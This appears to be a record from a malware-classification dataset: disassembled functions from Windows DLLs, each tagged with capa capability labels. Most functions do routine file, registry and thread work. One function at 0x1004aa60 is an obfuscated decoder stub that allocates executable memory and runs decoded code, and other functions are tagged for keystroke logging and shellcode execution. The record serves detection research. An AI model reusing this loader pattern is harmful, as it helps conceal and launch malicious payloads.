joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000db80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057176
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x18], 0
je 0x1000dcaf
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.1004aa60
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x14], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000dbf0
test cl, cl
je 0x1000dbf0
push dword [edi + 0x2c]
lea ecx, [ebp - 0x10]
call fcn.1004aa60
mov eax, dword [esi + 4]
push dword [eax + 0x14]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.1004aa60
mov edi, eax
test edi, edi
jne 0x1000dc30
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dc30
mov eax, dword [esi + 4]
push dword [eax + 0x18]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
mov ecx, dword [esi + 4]
add esp, 4
push dword [ecx + 0x18]
test eax, eax
je 0x1000dc74
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call fcn.1004aa60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x24]
jl 0x1000dc92
jg 0x1000dc8c
cmp eax, dword [ecx + 0x20]
jbe 0x1000dc92
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], edx
lea ecx, [ebp - 0x10]
call fcn.1004aa60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000de00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005719c
mov eax, dword fs:[0]
push eax
sub esp, 0x820
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x820], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x82c]
push eax
mov eax, dword [ebx + 4]
add eax, 4
push eax
call fcn.1004aa60
add esp, 0xc
test eax, eax
jne 0x1000e004
push 0x10060560
push dword [ebx + 4]
call fcn.1004aa60
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000e009
mov eax, dword [ebx + 4]
push 2
push 0
push 0
mov edi, dword [eax + 0x18]
push edi
mov dword [ebp - 0x824], edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x10
test eax, eax
jne 0x1000ded4
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
push 0
push 0
push 0
push edi
mov esi, eax
mov ebx, edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x14
test eax, eax
je 0x1000deef
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
mov eax, 0x34
jmp 0x1000e00b
push dword [ebp - 0x814]
lea ecx, [ebp - 0x81c]
call fcn.1004aa60
push 0x10060570
push dword [ebp - 0x818]
mov dword [ebp - 4], 0
call fcn.1004aa60
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000dfd9
mov eax, dword [ebp - 0x818]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x814], eax
mov eax, esi
or eax, ebx
je 0x1000df99
mov eax, 0x800
nop
push dword [ebp - 0x824]
cmp esi, 0x800
mov edi, esi
push 1
cmova edi, eax
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x1000dffd
push dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push 1
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x1000dffd
sub esi, edi
mov eax, esi
sbb ebx, 0
or eax, ebx
mov eax, 0x800
jne 0x1000df40
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov edi, eax
test edi, edi
jne 0x1000dfd9
mov eax, dword [ebp - 0x818]
add eax, 4
push eax
call fcn.1004aa60
push dword [ebp - 0x828]
mov eax, dword [ebp - 0x818]
push dword [ebp - 0x82c]
add eax, 4
push eax
call fcn.10033ac0
add esp, 0x10
mov edi, eax
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_void___thiscall_ScCore::File::destructor_void_
jmp 0x1000e009
mov edi, 0x34
jmp 0x1000dfd9
mov edi, 0x30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret 4
Function at 0x10010090
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call fcn.1004aa60
cwde
test eax, eax
je 0x100100c2
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x100100b9
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033310
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033540
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x10035310
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.1004aa60
mov ebx, eax
test ebx, ebx
je 0x1003547c
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x1003535c
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x10035358
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1003535c
mov edi, eax
jmp 0x10035340
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10035474
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x10035474
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x10035474
test edi, edi
je 0x10035474
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x10035474
cmp eax, edi
je 0x10035474
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035421
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100544a0
mov esp, ebp
pop ebp
ret
Function at 0x100354a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100354cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call fcn.1004aa60
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x100354f4
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003550a
lea eax, [ebp - 0xc]
push eax
push 0x10035590
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x10035551
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10083c98]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10083c10]
cmp eax, dword [ecx + 4]
jg 0x10035558
jmp 0x1003552e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x10083c0c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x10083c10
call fcn.1004aa60
add esp, 4
cmp dword [0x10083c10], 0xffffffff
jne 0x1003552b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x10083c10
mov dword [0x10083c0c], eax
call fcn.1004aa60
add esp, 4
jmp 0x1003552b

Function at 0x100356d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005ac13
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call fcn.1004aa60
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10035768
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x10083ae8]
test eax, eax
jne 0x1003577c
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x58], edi
mov dword [eax + 0x5c], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035810
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003581f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret
Function at 0x10035b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083c3c]
test eax, eax
jne 0x10035bc9
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035bc9
push esi
push 0x178
call fcn.1004aa60
add esp, 4
test eax, eax
je 0x10035b96
mov ecx, eax
call fcn.1004aa60
mov esi, eax
jmp 0x10035b98
xor esi, esi
cmp byte [0x10083c38], 0
jne 0x10035bb2
mov ecx, esi
mov dword [0x10083c3c], esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret
push esi
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret

Function at 0x10035bd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x100829d0]
cmp eax, 0xffffffff
je 0x10035c26
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c17
mov ecx, dword [0x10083c3c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x10083c3c], ecx
mov ecx, esi
call fcn.1001d720
mov ecx, esi
call fcn.1001d6c0
push 0x178
push esi
call fcn.1004aa60
add esp, 8
push 0
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x1004aa60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1004aa6f
pop dword [ebp - 0x48]
mov eax, 0x857a4a48
add eax, 0x8a8a6027
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x70e46294
add dword [ebp - 0x58], 0xdd6de2b7
mov dword [ebp - 0x54], 0xdd986c0e
sub dword [ebp - 0x54], 0xab651fc9
mov dword [ebp - 0x50], 0xf162760c
add dword [ebp - 0x50], 0x5ae9ce22
mov dword [ebp - 0x4c], 0xfb0525a6
add dword [ebp - 0x4c], 0x4fada5a
lea eax, [ebp - 0x58]
push eax
mov eax, 0xe339d3bf
add eax, 0x2ccbec61
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xf9df0971
add dword [ebp - 0x58], 0x7a935fe5
mov dword [ebp - 0x54], 0xd526e5cf
sub dword [ebp - 0x54], 0x93ba845a
mov dword [ebp - 0x50], 0xb4fc8f05
sub dword [ebp - 0x50], 0x518d2299
mov dword [ebp - 0x4c], 0x66ad0716
sub dword [ebp - 0x4c], 0x66ad0716
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xe871c23
add eax, 0x17ea3f9
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x5603d
push 0
call eax
mov ecx, 0x946e8281
add ecx, 0x6b91d052
mov esi, eax
mov edx, 0x495e77ba
sub edx, 0x39555bba
add edx, dword [ebp - 0x48]
mov ebx, 0xf0219cae
add ebx, 0x1f52df4e
add dword [ebp - 0x1c], 0x506ce575
mov edi, dword [edx]
xor dword [ebp - 0x20], 0x78eaed4a
sub edi, ebx
xor dword [ebp - 0x1c], esi
mov dword [esi], edi
mov dword [ebp - 0x24], 0x918f9ad0
add esi, 0x76ad64fc
add esi, 0x89529b08
add edx, 0xcd7ff5f2
add edx, 0x32800a12
loop 0x1004ab91
add eax, 0x13e1f
xor ebx, ebx
add ebx, eax
add eax, 0x77a36758
sub eax, 0x77a36753
mov ecx, 0x41d3f3aa
sub ecx, 0x31d3f3aa
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10001550
Capabilities:
Encode data using base64

Disassembly:
mov ecx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
test esi, esi
lea ebp, [esi + ecx]
jne 0x1000156a
pop edi
pop esi
xor eax, eax
pop ebp
ret
mov eax, 0x55555556
imul ecx
push ebx
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + ebx*4 + 5]
push ecx
call fcn.1001d5fc
mov edx, eax
add esp, 4
test edx, edx
mov dword [esp + 0x14], edx
mov ecx, edx
jne 0x100015a8
pop ebx
pop edi
pop esi
pop ebp
ret
mov ebx, ebp
sub ebx, esi
cmp ebx, 3
jl 0x10001653
jmp 0x100015c0
movzx edx, byte [esi]
shr edx, 2
movzx eax, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx], al
movzx edx, byte [esi]
movzx eax, byte [esi + 1]
shr eax, 4
and edx, 3
shl edx, 4
or edx, eax
movzx edx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx + 1], dl
movzx eax, byte [esi + 1]
movzx edx, byte [esi + 2]
and eax, 0xf
add eax, eax
add eax, eax
shr edx, 6
or eax, edx
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx + 2], al
movzx edx, byte [esi + 2]
and edx, 0x3f
movzx eax, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx + 3], al
add edi, 4
mov eax, 0x6bca1af3
imul edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x4c
mov edx, edi
add esi, 3
sub ebx, 3
add ecx, 4
sub edx, eax
jne 0x10001646
mov byte [ecx], 0xa
add ecx, 1
cmp ebx, 3
jge 0x100015c0
mov edx, dword [esp + 0x14]
mov eax, ebp
sub eax, esi
cmp eax, 2
jne 0x100016b1
movzx eax, byte [esi]
shr eax, 2
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx], al
movzx eax, byte [esi]
movzx edi, byte [esi + 1]
and eax, 3
shl eax, 4
shr edi, 4
or eax, edi
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx + 1], al
movzx eax, byte [esi + 1]
add ecx, 1
and eax, 0xf
movzx eax, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
add ecx, 1
mov byte [ecx], al
pop ebx
add ecx, 1
pop edi
mov byte [ecx], 0x3d
add ecx, 1
pop esi
mov byte [ecx], 0
mov eax, edx
pop ebp
ret
cmp eax, 1
jne 0x100016e9
movzx eax, byte [esi]
shr eax, 2
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [ecx], al
movzx eax, byte [esi]
and eax, 3
shl eax, 4
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
add ecx, 1
mov byte [ecx], al
add ecx, 1
mov byte [ecx], 0x3d
add ecx, 1
mov byte [ecx], 0x3d
add ecx, 1
pop ebx
pop edi
pop esi
mov byte [ecx], 0
mov eax, edx
pop ebp
ret

Function at 0x10001b30
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8
Function at 0x10001b50
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
push edi
mov edi, ecx
jne 0x10001b66
push 0x80004005
call fcn.100011d0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
mov edx, dword [edi]
add eax, 1
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc

Function at 0x10001b90
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
mov dword [esp + 4], ecx
jne 0x10001ba8
push 0x80004005
call fcn.100011d0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
add eax, 1
add esi, eax
add edi, eax
cmp eax, 1
jne 0x10001bb5
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8

Function at 0x100027f0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x1003ffa0]
xor eax, esp
mov dword [esp + 0x118], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x12c]
mov ebp, ecx
mov eax, dword [ebp]
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0xc]
mov esi, eax
test esi, esi
jne 0x1000285e
test ecx, ecx
je 0x10002850
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
mov ecx, dword [esp + 0x14]
mov esi, eax
mov dword [esp + 0xc], ecx
je 0x1000286c
test ecx, ecx
je 0x10002911
push ecx
jmp 0x1000290b
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
lea edx, [esp + 0x38]
push edx
push 0
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
jne 0x100028de
jmp 0x100028a0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.100027f0
mov edi, eax
test edi, edi
jne 0x1000292d
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
je 0x100028a0
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x100028f5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10002911
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1001db6d
add esp, 0x11c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x1000293c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x10002913
Function at 0x10011450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push edi
mov edi, dword [0x10042080]
push str.REGISTRY
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
jne 0x10011476
pop edi
xor al, al
pop ebx
pop ecx
ret
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x1001148c
pop esi
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [esp + 0xc]
push ecx
push pe_nt_image_headers32
push edi
push esi
call ebx
mov edx, dword [0x1003f764]
push edx
push 0x1003f75c
push edi
push esi
call fcn.10014f80
add esp, 0x10
lea eax, [esp + 0xc]
push eax
push 0x20
push edi
push esi
mov byte [edi + esi - 1], 0
call ebx
pop esi
pop edi
mov al, 1
pop ebx
pop ecx
ret
Function at 0x100144f0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x1003164e
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x1003ffa0]
xor eax, esp
mov dword [esp + 0x110], eax
push esi
mov eax, dword [0x1003ffa0]
xor eax, esp
push eax
lea eax, [esp + 0x11c]
mov dword fs:[0], eax
push 0x1004149c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x10041570], 0
jne 0x100146f5
push 0
call fcn.1001ef6d
push eax
call fcn.1001f212
add esp, 8
call fcn.1000eed0
call sym.distribution.dll_DllCanUnloadNow
call sym.distribution.dll_DllCanUnloadNow
call fcn.10015270
cmp dword [0x10041478], 0
jne 0x10014581
mov dword [0x10041478], 6
mov dword [0x1004147c], 0x42
push 0
lea eax, [esp + 0x10]
push eax
push 0x104
lea ecx, [esp + 0x20]
push ecx
push 0x10000001
mov dword [0x100414fc], 0x92
mov dword [0x10041500], 2
call fcn.10015fb0
lea edx, [esp + 0x14]
push edx
mov byte [esp + 0x11b], 0
call fcn.10002540
add esp, 4
mov dword [0x1004144c], eax
push 0x104
lea eax, [esp + 0x18]
push eax
push 0x10000000
mov dword [0x10041490], 0x1003eac8
mov dword [0x10041444], 0x1003e410
mov dword [0x1004148c], 0x1003f370
mov dword [0x10041488], 0x7f
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x14]
push 0x2e
push ecx
call fcn.1001ef40
add esp, 8
test eax, eax
je 0x1001464b
push 0x1003efd4
lea edx, [esp + 0x18]
push 0x103
push edx
mov byte [eax], 0
call fcn.1001ed96
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x127], 0
call fcn.10002540
add esp, 0x10
mov dword [0x10041484], eax
mov dword [0x1004146c], 0x1003ec38
mov dword [0x10041468], 4
mov dword [0x10041494], 0x1003f560
mov dword [0x10041498], 0x1003e9d8
call fcn.10012670
push 0
call fcn.1001ef6d
push 0x10
mov dword [0x10041470], eax
mov dword [0x10041474], edx
call fcn.1001dfa3
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
mov dword [esp + 0x124], 0
je 0x100146b0
mov ecx, eax
call fcn.10015d70
jmp 0x100146b2
xor eax, eax
mov dword [esp + 0x124], 0xffffffff
mov dword [0x100414b4], eax
call fcn.100143a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x10015d50
push 0
push 0
call esi
lea edx, [esp + 8]
push edx
push 0
push 0
push 0x1001c970
push 0
push 0
call esi
call fcn.1001f21f
and eax, 0x800000ff
jns 0x10014708
dec eax
or eax, 0xffffff00
inc eax
add eax, 4
push 0x1004149c
mov dword [0x10041570], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x11c]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.1001db6d
add esp, 0x120
ret

Function at 0x10014fd0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push 0x1003e508
push eax
lea ecx, [esp + 0xc]
push ecx
xor bl, bl
call fcn.1001f815
add esp, 0xc
test eax, eax
je 0x10014ff4
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push edx
push 1
push eax
push ecx
call fcn.1001f6c4
add esp, 0x10
cmp eax, 1
jne 0x10015014
mov bl, al
mov edx, dword [esp + 4]
push edx
call fcn.1001f52e
add esp, 4
movzx eax, bl
pop ebx
pop ecx
ret